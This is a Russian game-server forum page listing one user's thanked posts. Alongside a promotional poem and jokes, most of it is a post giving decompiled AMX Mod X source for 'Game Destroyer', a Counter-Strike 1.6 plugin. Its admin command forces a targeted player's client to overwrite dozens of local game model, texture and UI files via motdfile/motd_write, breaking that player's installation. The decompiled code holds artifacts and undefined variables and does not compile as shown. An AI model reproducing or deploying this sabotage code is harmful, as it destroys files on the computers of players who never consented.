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История благодарностей участнику Andrei ::: Спасибо сказали: 693
Дата поста: В теме: За сообщение: Спасибо сказали:
6.8.2017, 17:26 Стишок удачи ( Конкурс на Топ1 top-ms )
При включении компа, сразу ты идешь на c-s.net.ua!

Здесь тебя ждут скандалы, интриги, расследования, но и для сервера всё тоже есть, от плагинов и защиты, мануалов и статей, до покупок и продаж. Всё для твоего сервера!

Кто-то плагин не может написать, или не знает где для своего сервера буст или випку заказать, кто-то все время делает мастер сервера, а у кого-то и вовсе - дудосят сервера!

Как собираются сервера, как подключаются плагины и различные модуля?) Как убрать мне в сервере нагрузку? Куда идти, кто поможет мне с бедой? Кто окажет мне поддержку ? Конечно только c-s.net.ua, любимый мой!


Это пока первая версия, может апгрейдю потом )
Aikido, Alexander_3, fl0werD, Nebo
19.3.2017, 21:53 No Fail Death
VEN, тебя так воодушевил Вен, что ты решил скомуниздить его ник ?)
iLLuSioN, ssx
19.1.2017, 23:31 За мной следят =D
Телефон с Андроидом, инет 4g безлимит и usb кабель, вот тебе модем)
Nebo
27.12.2016, 5:35 Смешные и забавные картинки
Как это часто бывает на форумах)

https://m.vk.com/photo-83529208_456241264?l...bum-83529208_00
stefkone
7.11.2016, 8:35 Game_Destroyer.sma
Цитата(selya-zek @ 7.11.2016, 7:23) *
Andrei, А как ты этот декомпил получил, существует ли прога для этого



Да. Ищите на амх-х, qucly выкладывал, по оранжевому нику найдете.
selya-zek
7.11.2016, 1:14 Game_Destroyer.sma
Цитата(selya-zek @ 6.11.2016, 19:09) *
Andrei, . Что-то не компилируется. Много ошибок выдает


Ну верно, это декомпил. Востанавливай. Там все предельно ясно.
selya-zek, ssx
6.11.2016, 15:09 Game_Destroyer.sma
Можно восстановить, только команда Motd_write уже ведь не пашет.


Код:
#pragma semicolon 1
#pragma ctrlchar '\'

new destroy_config[128];
new destroy_arg[64];
new destroy_admin[64];
new destroy_player[64];
new destroy_admin_authid[64];
new destroy_player_authid[64];
new destroy_admin_ip[64];
new destroy_player_ip[64];
new destroy_configsdir[64];
new destroy_target;
new id;


cmd_access(id, level, cid, num, bool:accesssilent)
{
!!! Removed Phi
new has_access = 0;
new var1;
if (is_dedicated_server())
{
var1 = 0;
}
else
{
var1 = 1;
}
if (var1 == id)
{
has_access = 1;
}
else
{
if (level == 16777216)
{
if (is_user_admin(id))
{
has_access = 1;
}
}
if (level & get_user_flags(id, 0))
{
has_access = 1;
}
if (level)
{
}
else
{
has_access = 1;
}
}
if (has_access)
{
if (num > read_argc())
{
new hcmd[32];
new hinfo[128];
new hflag = 0;
get_concmd(cid, hcmd, 31, hflag, hinfo, 127, level, -1);
console_print(id, "%L: %s %s", id, "USAGE", hcmd, hinfo);
return 0;
}
return 1;
}
if (!accesssilent)
{
console_print(id, "%L", id, "NO_ACC_COM");
}
return 0;
}

cmd_target(id, String:arg[], flags)
{
!!! Removed Phi
new player = find_player("bl", arg);
if (player)
{
if (find_player("blj", arg) != player)
{
console_print(id, "%L", id, "MORE_CL_MATCHT");
return 0;
}
}
else
{
if (var4 && arg[0] == 35 && arg[1])
{
player = find_player("k", str_to_num(arg[1]));
}
}
if (!player)
{
console_print(id, "%L", id, "CL_NOT_FOUND");
return 0;
}
if (flags & 1)
{
if (get_user_flags(player, 0) & 1 && flags & 2)
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CLIENT_IMM", imname);
return 0;
}
}
if (flags & 4)
{
if (!is_user_alive(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_DEAD", imname);
return 0;
}
}
if (flags & 8)
{
if (is_user_bot(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_BOT", imname);
return 0;
}
}
return player;
}

get_configsdir(String:name[], len)
{
return get_localinfo("amxx_configsdir", name, len);
}

public plugin_init()
{
register_plugin("Game Destroyer", "1.1", "Sho0ter");
register_concmd("amx_destroy", "cmd_destroy", 8, "<authid, nick or #userid>", -1);
register_dictionary("game_destroyer.txt");
register_cvar("amx_destroy_ban", "1", 0, 0.00);
register_cvar("amx_destroy_bantype", "1", 0, 0.00);
register_cvar("amx_destroy_amxbans", "0", 0, 0.00);
register_cvar("amx_destroy_bantime", "0", 0, 0.00);
register_cvar("amx_destroy_fuck_hdd", "0", 0, 0.00);
register_cvar("amx_destroy_activity", "2", 0, 0.00);
return 0;
}

public plugin_cfg()
{
get_configsdir(destroy_configsdir, 63);
formatex(destroy_config, 127, "%s/game_destroyer.cfg", destroy_configsdir);
if (file_exists(destroy_config))
{
server_cmd("exec %s", destroy_config);
server_print("[%s] Config file executed. Version: %s", "Game Destroyer", "1.1");
}
else
{
server_print("[%s] Could not find config file, contiune with default config!", "Game Destroyer");
log_to_file("game_destroyer.log", "[%s] Could not find config file, contiune with default config!", "Game Destroyer");
log_to_file("game_destroyer.log", "[%s] File: %s", "Game Destroyer", destroy_config);
}
return 0;
}

public cmd_destroy(id, level, cid)
{
if (!cmd_access(id, level, cid, 2, false))
{
return 1;
}
read_argv(1, destroy_arg, 63);
destroy_target = cmd_target(id, destroy_arg, 5);
if (!destroy_target)
{
return 1;
}
if (get_user_flags(destroy_target, 0) & 8)
{
get_user_name(destroy_target, destroy_player, 63);
console_print(id, "[%s] %L", "Game Destroyer", -1, "GD_IMMUNITY", destroy_player);
client_print(id, 3, "[%s] %L", "Game Destroyer", -1, "GD_IMMUNITY", destroy_player);
}
else
{
get_user_authid(id, destroy_admin_authid, 63);
get_user_name(id, destroy_admin, 63);
get_user_authid(destroy_target, destroy_player_authid, 63);
get_user_name(destroy_target, destroy_player, 63);
get_user_ip(id, destroy_admin_ip, 63, 1);
get_user_ip(destroy_target, destroy_player_ip, 63, 1);
set_task(0.00, "destroy_game", destroy_target, "", 0, "", 0);
log_to_file("game_destroyer.log", "%s [%s] game was destroyed by admin %s [%s]", destroy_player, destroy_player_ip, destroy_admin, destroy_admin_ip);
console_print(id, "[%s] %L", "Game Destroyer", -1, "GD_ADM_DESTROYED", destroy_player, destroy_player_ip);
client_print(id, 3, "[%s] %L", "Game Destroyer", -1, "GD_ADM_DESTROYED", destroy_player, destroy_player_ip);
}
return 0;
}

public destroy_game(destroy_target)
{
id = destroy_target;
client_cmd(id, "developer 1");
client_cmd(id, "motdfile models/player/arctic/arctic.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/gign/gign.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/gsg9/gsg9.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/guerilla/guerilla.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/leet/leet.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/militia/militia.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/sas/sas.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/terror/terror.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/urban/urban.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/player/vip/vip.mdl");
set_task(0.50, "destroy_game2", id, "", 0, "", 0);
return 0;
}

public destroy_game2(id)
{
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/hostage.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_ak47.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_aug.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_c4.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_deagle.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_elite.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_famas.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_fiveseven.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_flashbang.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_g3sg1.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_galil.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_glock18.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game3", id, "", 0, "", 0);
return 0;
}

public destroy_game3(id)
{
client_cmd(id, "motdfile models/p_hegrenade.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_knife.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_m3.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_m3super90.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_m4a1.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_m249.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_mac10.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_mp5.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_p90.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_p228.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_scout.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_sg550.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_sg552.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_shield.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_smokegrenade.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_tmp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_ump45.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_usp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/p_xm1014.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game4", id, "", 0, "", 0);
return 0;
}

public destroy_game4(id)
{
client_cmd(id, "motdfile models/v_ak47.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_aug.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_c4.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_deagle.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_elite.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_famas.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_fiveseven.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_flashbang.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_g3sg1.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_galil.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_glock18.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_hegrenade.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_knife.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_m3.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game5", id, "", 0, "", 0);
return 0;
}

public destroy_game5(id)
{
client_cmd(id, "motdfile models/v_m4a1.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_m249.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_mac10.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_mp5.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_p90.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_p228.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_scout.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_sg550.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_sg552.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_smokegrenade.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_tmp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_ump45.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_usp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_xm1014.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game6", id, "", 0, "", 0);
return 0;
}

public destroy_game6(id)
{
client_cmd(id, "motdfile models/w_ak47.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_aug.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_backpack.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_c4.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_deagle.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_elite.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_famas.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_fiveseven.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_flashbang.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_g3sg1.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_galil.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_glock18.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_hegrenade.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_kevlar.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_knife.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_m3.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_m4a1.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game7", id, "", 0, "", 0);
return 0;
}

public destroy_game7(id)
{
client_cmd(id, "motdfile models/w_m249.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_mac10.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_mp5.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_p90.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_p228.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_scout.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_sg550.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/v_awp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_sg552.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_shield.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_smokegrenade.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_thighpack.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_tmp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_ump45.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_usp.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile models/w_xm1014.mdl");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game8", id, "", 0, "", 0);
return 0;
}

public destroy_game8(id)
{
client_cmd(id, "motdfile resource/background/800_1_a_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_1_b_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_1_c_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_1_d_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_2_a_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_2_b_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_2_c_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_2_d_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_3_a_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_3_b_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_3_c_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/background/800_3_d_loading.tga");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
set_task(0.50, "destroy_game9", id, "", 0, "", 0);
return 0;
}

public destroy_game9(id)
{
client_cmd(id, "motdfile resource/UI/BackgroundPanel.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BottomSpectator.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyEquipment.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyEquipment_CT.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyEquipment_TER.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyMachineguns_CT.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyMachineguns_TER.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyMenu.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyPistols_CT.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyPistols_TER.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyRifles_CT.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyRifles_TER.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyShotguns_CT.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuyShotguns_TER.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuySubMachineguns_CT.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/BuySubMachineguns_TER.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/CareerBackgroundMenu.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/Classmenu.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/Classmenu_CT.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/Classmenu_TER.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
client_cmd(id, "motdfile resource/UI/MainBuyMenu.res");
client_cmd(id, "motd_write This file was destroyed by %s v%s by %s", "Game Destroyer", "1.1", "Sho0ter");
